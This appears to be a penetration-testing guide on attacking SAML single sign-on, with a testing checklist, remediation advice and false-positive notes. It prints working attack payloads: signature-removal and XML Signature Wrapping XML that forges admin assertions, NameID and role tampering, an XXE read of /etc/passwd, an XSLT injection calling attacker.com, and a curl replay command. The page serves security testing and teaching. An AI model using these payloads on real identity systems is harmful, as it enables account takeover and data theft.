Exploitation A07

SAML & SSO Attacks

Security Assertion Markup Language (SAML) and Single Sign-On (SSO) implementations are critical authentication infrastructure in enterprise environments. Flaws in SAML parsing, signature verification, and assertion handling can lead to complete authentication bypass and account takeover.

Warning

SAML attacks can affect all users of a federated authentication system. Test with extreme caution and coordinate with the identity provider team.

SAML Authentication Flow

Understanding the SAML flow is essential before attacking it. The typical SP-initiated flow:

1. User → SP: User requests a protected resource

2. SP → IdP: SP generates AuthnRequest, redirects user to IdP

3. User → IdP: User authenticates at IdP (username/password, MFA)

4. IdP → SP: IdP issues signed SAML Response with Assertion

5. SP validates: SP checks signature, conditions, and grants access

Information

Key Intercept Points: Use Burp Suite to intercept the SAML Response at step 4. This is a Base64-encoded XML document that you'll decode, modify, and re-encode.

SP-Initiated SAML Authentication Flow

sequenceDiagram participant User as User/Browser participant SP as Service Provider participant IdP as Identity Provider User->>SP: 1. Request protected resource SP->>User: 2. Redirect with AuthnRequest User->>IdP: 3. Forward AuthnRequest IdP->>User: 4. Login prompt User->>IdP: 5. Authenticate (username/password + MFA) IdP->>IdP: 6. Generate signed SAML Response IdP->>User: 7. Return SAML Response (auto-POST form) rect rgb(255, 107, 107, 0.1) Note over User,SP: Attack intercept point User->>SP: 8. POST SAMLResponse (Base64 XML) end SP->>SP: 9. Validate signature + conditions SP->>User: 10. Grant access / create session

Tools & Setup

SAML Raider

Burp Extension (BApp Store) GitHub →

saml2aws

brew install saml2aws GitHub →

SAMLExtractor

pip install samlextractor GitHub →

Burp Suite

SAML Decoder Tab Website →

Signature Bypass Techniques

The SAML Response is signed by the IdP. If the SP improperly validates the signature, attackers can forge assertions:

Signature Bypass Decision Tree

flowchart TD A[Intercept SAML Response] --> B{Remove Signature element} B -->|SP accepts| C[Signature Not Required] B -->|SP rejects| D{Sign with self-signed cert} D -->|SP accepts| E[No Certificate Pinning] D -->|SP rejects| F{XSW: Move signed assertion, add forged} F -->|SP processes forged| G[XML Signature Wrapping] F -->|SP rejects| H{Modify unsigned attributes} H -->|Attributes outside signed scope| I[Attribute Injection] H -->|All attributes signed| J{Comment injection in NameID} J -->|Truncation works| K[XML Comment Bypass] J -->|No truncation| L[Signature Properly Validated] style C fill:#ff6b6b,stroke:#000,color:#000 style E fill:#ff6b6b,stroke:#000,color:#000 style G fill:#ff6b6b,stroke:#000,color:#000 style I fill:#ff6b6b,stroke:#000,color:#000 style K fill:#ff6b6b,stroke:#000,color:#000 style L fill:#00ff00,stroke:#000,color:#000

Signature Removal

xml
<!-- Original signed SAML Response -->
<samlp:Response>
  <ds:Signature>...</ds:Signature>
  <saml:Assertion>
    <saml:Subject>
      <saml:NameID>user@example.com</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
</samlp:Response>

<!-- Attack: Remove the Signature element entirely -->
<samlp:Response>
  <saml:Assertion>
    <saml:Subject>
      <saml:NameID>admin@example.com</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
</samlp:Response>

<!-- If SP doesn't require signature, this grants admin access -->
<!-- Original signed SAML Response -->
<samlp:Response>
  <ds:Signature>...</ds:Signature>
  <saml:Assertion>
    <saml:Subject>
      <saml:NameID>user@example.com</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
</samlp:Response>

<!-- Attack: Remove the Signature element entirely -->
<samlp:Response>
  <saml:Assertion>
    <saml:Subject>
      <saml:NameID>admin@example.com</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
</samlp:Response>

<!-- If SP doesn't require signature, this grants admin access -->

XML Signature Wrapping (XSW)

xml
<!-- XSW Attack: Move the signed assertion and add a forged one -->
<samlp:Response>
  <!-- Signed (original) assertion moved here -->
  <saml:Assertion ID="original">
    <ds:Signature>
      <!-- Signature covers this original assertion -->
    </ds:Signature>
    <saml:Subject>
      <saml:NameID>user@example.com</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
  
  <!-- Forged assertion — SP may process this one -->
  <saml:Assertion ID="forged">
    <saml:Subject>
      <saml:NameID>admin@example.com</saml:NameID>
    </saml:Subject>
    <saml:AttributeStatement>
      <saml:Attribute Name="role">
        <saml:AttributeValue>administrator</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>
<!-- XSW Attack: Move the signed assertion and add a forged one -->
<samlp:Response>
  <!-- Signed (original) assertion moved here -->
  <saml:Assertion ID="original">
    <ds:Signature>
      <!-- Signature covers this original assertion -->
    </ds:Signature>
    <saml:Subject>
      <saml:NameID>user@example.com</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
  
  <!-- Forged assertion — SP may process this one -->
  <saml:Assertion ID="forged">
    <saml:Subject>
      <saml:NameID>admin@example.com</saml:NameID>
    </saml:Subject>
    <saml:AttributeStatement>
      <saml:Attribute Name="role">
        <saml:AttributeValue>administrator</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

Tip

SAML Raider: The Burp extension automates XSW attacks with 8 different wrapping variants. Send the SAML Response to SAML Raider, select the XSW variant, and forward the modified request.

Assertion Manipulation

NameID Tampering

If the signature can be bypassed, modify the NameID to impersonate another user. Steps: intercept the SAML Response in Burp, Base64-decode it, modify the XML, re-encode, and forward.

saml-nameid-tampering.xml
xml
<!-- Original: -->
<saml:NameID>lowpriv@company.com</saml:NameID>

<!-- Modified (impersonate CEO): -->
<saml:NameID>ceo@company.com</saml:NameID>

<!-- Also try modifying role attributes: -->
<saml:Attribute Name="Role">
  <saml:AttributeValue>admin</saml:AttributeValue>
</saml:Attribute>
<!-- Original: -->
<saml:NameID>lowpriv@company.com</saml:NameID>

<!-- Modified (impersonate CEO): -->
<saml:NameID>ceo@company.com</saml:NameID>

<!-- Also try modifying role attributes: -->
<saml:Attribute Name="Role">
  <saml:AttributeValue>admin</saml:AttributeValue>
</saml:Attribute>

Condition Time Window Manipulation

xml
<!-- Extend the assertion validity window -->
<saml:Conditions 
  NotBefore="2020-01-01T00:00:00Z" 
  NotOnOrAfter="2030-12-31T23:59:59Z">
  <saml:AudienceRestriction>
    <saml:Audience>https://target-sp.com</saml:Audience>
  </saml:AudienceRestriction>
</saml:Conditions>

<!-- This makes a captured assertion reusable for years -->
<!-- Extend the assertion validity window -->
<saml:Conditions 
  NotBefore="2020-01-01T00:00:00Z" 
  NotOnOrAfter="2030-12-31T23:59:59Z">
  <saml:AudienceRestriction>
    <saml:Audience>https://target-sp.com</saml:Audience>
  </saml:AudienceRestriction>
</saml:Conditions>

<!-- This makes a captured assertion reusable for years -->

XML-Based Attacks on SAML

Since SAML uses XML, standard XML attacks (XXE, XPath injection) may work against the SP's XML parser:

xml
<!-- XXE in SAML Response -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response>
  <saml:Assertion>
    <saml:Subject>
      <saml:NameID>&xxe;</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
</samlp:Response>

<!-- XSLT Injection in SAML -->
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
  <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
      <xsl:value-of select="document('http://attacker.com/collect')" />
    </xsl:template>
  </xsl:stylesheet>
</ds:Transform>
<!-- XXE in SAML Response -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response>
  <saml:Assertion>
    <saml:Subject>
      <saml:NameID>&xxe;</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
</samlp:Response>

<!-- XSLT Injection in SAML -->
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
  <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
      <xsl:value-of select="document('http://attacker.com/collect')" />
    </xsl:template>
  </xsl:stylesheet>
</ds:Transform>

Replay & Session Attacks

If the SP doesn't track assertion IDs (InResponseTo), a captured SAML Response can be replayed after the session expires to regain access. Session fixation is also possible if the SP doesn't rotate session cookies after SAML authentication.

saml-replay.sh
bash
# Replay a captured SAML Response after session timeout:
curl -X POST https://target-sp.com/acs \
  -d 'SAMLResponse=PHNhbWxwOlJl...base64...' \
  -d 'RelayState=/dashboard'
# Replay a captured SAML Response after session timeout:
curl -X POST https://target-sp.com/acs \
  -d 'SAMLResponse=PHNhbWxwOlJl...base64...' \
  -d 'RelayState=/dashboard'

Testing Methodology

SAML Testing Checklist

  1. 1. Capture SAML Response in Burp Suite (intercept POST to ACS endpoint)
  2. 2. Decode and analyze the XML structure (use SAML Raider)
  3. 3. Test signature removal — delete Signature element, forward request
  4. 4. Test all 8 XSW (XML Signature Wrapping) variants
  5. 5. Modify NameID to another user (horizontal escalation)
  6. 6. Modify role/group attributes (vertical escalation)
  7. 7. Test XXE in the SAML XML parser
  8. 8. Test assertion replay (re-send captured assertion)
  9. 9. Check for assertion validity time window enforcement
  10. 10. Test IdP-initiated vs SP-initiated flow differences

Evidence Collection

SAML Response: Original and modified SAML Response XML (decoded from Base64)

Burp Capture: Request/response showing successful authentication with modified assertion

Signature Removal: Proof that assertion was accepted without a valid signature

Privilege Escalation: Screenshots showing access as a different user after NameID modification

CVSS Range: Signature bypass: 9.1–9.8 (Critical) | XSW attacks: 8.1–9.1 (High-Critical) | Assertion replay: 7.5–8.6

Remediation Guidance

  • Always validate signatures: Reject any assertion without a valid signature. Use strict XML canonicalization.
  • Check InResponseTo: Ensure the assertion matches the original AuthnRequest ID.
  • Enforce time conditions: Reject expired assertions (NotOnOrAfter) and enforce short validity windows.
  • Track assertion IDs: Maintain a cache of used assertion IDs to prevent replay.
  • Disable external entities: Configure XML parser to reject DTDs and external entities.
  • Use established libraries: Use well-maintained SAML libraries (e.g., OneLogin, Spring Security SAML) rather than custom implementations.

False Positive Identification

  • Tools flagging self-signed certificates: SAML assertions may use self-signed certs legitimately within a trust store — verify if the SP trust config accepts them.
  • XML parsing differences: Different XML libraries canonicalize differently — test in the actual application context, not just a standalone parser.
  • Expired assertion rejection: Getting a 403 after replaying an old assertion doesn't confirm replay protection — the assertion may simply be expired. Test with fresh assertions within the validity window.
  • Signature present but not validated: Confirm the app actually verifies the signature by modifying a single byte — if it still accepts, the signature check is bypassed.